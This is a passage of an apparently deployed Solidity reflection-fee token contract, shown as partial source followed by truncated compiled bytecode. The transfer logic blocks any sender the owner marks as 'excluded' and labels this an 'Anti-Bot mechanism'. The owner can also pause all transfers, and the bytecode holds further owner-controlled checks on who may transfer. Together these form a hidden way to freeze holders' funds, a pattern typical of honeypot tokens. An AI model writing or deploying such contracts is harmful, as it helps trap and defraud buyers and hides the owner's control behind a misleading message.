amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(!paused); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isExcluded[sender], "Anti-Bot mechanism activated. Try again later"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e146106fd578063f2cc0c1814610775578063f2fde38b146107b9578063f84354f1146107fd57610173565b8063a9059cbb14610611578063cba0e99614610675578063d543dbeb146106cf57610173565b8063715018a6146104c45780637d1db4a5146104ce5780638456cb59146104ec5780638da5cb5b146104f657806395d89b411461052a578063a457c2d7146105ad57610173565b80632d838119116101305780632d8381191461034d578063313ce5671461038f57806339509351146103b05780633f4ba83a146104145780634549b0391461041e57806370a082311461046c57610173565b8063053ab1821461017857806306fdde03146101a6578063095ea7b31461022957806313114a9d1461028d57806318160ddd146102ab57806323b872dd146102c9575b600080fd5b6101a46004803603602081101561018e57600080fd5b8101908080359060200190929190505050610841565b005b6101ae6109d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ee5780820151818401526020810190506101d3565b50505050905090810190601f16801561021b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102756004803603604081101561023f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a73565b60405180821515815260200191505060405180910390f35b610295610a91565b6040518082815260200191505060405180910390f35b6102b3610a9b565b6040518082815260200191505060405180910390f35b610335600480360360608110156102df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab0565b60405180821515815260200191505060405180910390f35b6103796004803603602081101561036357600080fd5b8101908080359060200190929190505050610cd2565b6040518082815260200191505060405180910390f35b610397610d56565b604051808260ff16815260200191505060405180910390f35b6103fc600480360360408110156103c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d6d565b60405180821515815260200191505060405180910390f35b61041c610e20565b005b6104566004803603604081101561043457600080fd5b8101908080359060200190929190803515159060200190929190505050610f0d565b6040518082815260200191505060405180910390f35b6104ae6004803603602081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fcd565b6040518082815260200191505060405180910390f35b6104cc6110b8565b005b6104d661123e565b6040518082815260200191505060405180910390f35b6104f4611244565b005b6104fe611329565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610532611352565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610572578082015181840152602081019050610557565b50505050905090810190601f16801561059f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105f9600480360360408110156105c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113f4565b60405180821515815260200191505060405180910390f35b61065d6004803603604081101561062757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114c1565b60405180821515815260200191505060405180910390f35b6106b76004803603602081101561068b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611563565b60405180821515815260200191505060405180910390f35b6106fb600480360360208110156106e557600080fd5b81019080803590602001909291905050506115b9565b005b61075f6004803603604081101561071357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bd565b6040518082815260200191505060405180910390f35b6107b76004803603602081101561078b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611744565b005b6107fb600480360360208110156107cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a5e565b005b61083f6004803603602081101561081357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c69565b005b600061084b611ff3565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613a23602c913960400191505060405180910390fd5b60006108fb83611ffb565b50505050905061095381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ab8160065461205390919063ffffffff16565b6006819055506109c68360075461209d90919063ffffffff16565b600781905550505050565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a695780601f10610a3e57610100808354040283529160200191610a69565b820191906000526020600020905b815481529060010190602001808311610a4c57829003601f168201915b5050505050905090565b6000610a87610a80611ff3565b8484612125565b6001905092915050565b6000600754905090565b60006c054d17db76321263eca0000000905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610b3c5750600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610b875782600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bfb565b600c60149054906101000a900460ff161580610bf15750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610bfa57600080fd5b5b610c0684848461231c565b610cc784610c12611ff3565b610cc28560405180606001604052806028815260200161398960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c78611ff3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129099092919063ffffffff16565b612125565b600190509392505050565b6000600654821115610d2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806138a1602a913960400191505060405180910390fd5b6000610d396129c9565b9050610d4e81846129f490919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610e16610d7a611ff3565b84610e118560036000610d8b611ff3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b612125565b6001905092915050565b610e28611ff3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600c60146101000a81548160ff021916908315150217905550610f0b610e20565b565b60006c054d17db76321263eca0000000831115610f92576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610fb1576000610fa284611ffb565b50505050905080915050610fc7565b6000610fbc84611ffb565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561106857600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506110b3565b6110b0600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cd2565b90505b919050565b6110c0611ff3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611180576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d5481565b61124c611ff3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600c60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113ea5780601f106113bf576101008083540402835291602001916113ea565b820191906000526020600020905b8154815290600101906020018083116113cd57829003601f168201915b5050505050905090565b60006114b7611401611ff3565b846114b285604051806060016040528060258152602001613a4f602591396003600061142b611ff3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129099092919063ffffffff16565b612125565b6001905092915050565b6000600c60149054906101000a900460ff16158061152d5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61153657600080fd5b611548611541611ff3565b848461231c565b6001600b600082825401925050819055506001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6115c1611ff3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611681576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6116b460646116a6836c054d17db76321263eca0000000612a3e90919063ffffffff16565b6129f490919063ffffffff16565b600d8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61174c611ff3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461180c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156119a05761195c600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cd2565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611a66611ff3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806138cb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611c71611ff3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611df0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611fef578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611e2457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611fe257600560016005805490500381548110611e8057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611eb857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611fa857fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611fef565b8080600101915050611df3565b5050565b600033905090565b600080600080600080600061200f88612ac4565b91509150600061201d6129c9565b9050600080600061202f8c8686612b16565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600061209583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612909565b905092915050565b60008082840190508381101561211b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806139ff6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612231576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806138f16022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600c60149054906101000a900460ff161561233657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806139da6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612442576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061387e6023913960400191505060405180910390fd5b6000811161249b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806139b16029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561253e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180613913602d913960400191505060405180910390fd5b612546611329565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156125b45750612584611329565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561261557600d54811115612614576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806139406028913960400191505060405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126b85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126cd576126c8838383612b74565b612904565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127705750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561278557612780838383612dc7565b612903565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128295750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561283e5761283983838361301a565b612902565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128e05750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128f5576128f08383836131d8565b612901565b61290083838361301a565b5b5b5b5b505050565b60008383111582906129b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561297b578082015181840152602081019050612960565b50505050905090810190601f1680156129a85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006129d66134c0565b915091506129ed81836129f490919063ffffffff16565b9250505090565b6000612a3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061377d565b905092915050565b600080831415612a515760009050612abe565b6000828402905082848281612a6257fe5b0414612ab9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806139686021913960400191505060405180910390fd5b809150505b92915050565b6000806000612af06002612ae26064876129f490919063ffffffff16565b612a3e90919063ffffffff16565b90506000612b07828661205390919063ffffffff16565b90508082935093505050915091565b600080600080612b2f8588612a3e90919063ffffffff16565b90506000612b468688612a3e90919063ffffffff16565b90506000612b5d828461205390919063ffffffff16565b905082818395509550955050505093509350939050565b6000806000806000612b8586611ffb565b94509450945094509450612be186600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c7685600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0b84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d588382613843565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612dd886611ffb565b94509450945094509450612e3485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ec982600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f5e84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fab8382613843565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061302b86611ffb565b9450945094509450945061308785600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061311c84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131698382613843565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006131e986611ffb565b9450945094509450945061324586600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132da85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061336f82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061340484600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134518382613843565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000600654905060006c054d17db76321263eca0000000905060005b60058054905081101561372a578260016000600584815481106134fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806135e5575081600260006005848154811061357d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613607576006546c054d17db76321263eca000000094509450505050613779565b613690600160006005848154811061361b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461205390919063ffffffff16565b925061371b60026000600584815481106136a657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361205390919063ffffffff16565b915080806001019150506134df565b5061374d6c054d17db76321263eca00000006006546129f490919063ffffffff16565b821015613770576006546c054d17db76321263eca0000000935093505050613779565b81819350935050505b9091565b60008083118290613829576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156137ee5780820151818401526020810190506137d3565b50505050905090810190601f16801561381b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161383557fe5b049050809150509392505050565b6138588260065461205390919063ffffffff16565b6006819055506138738160075461209d90919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a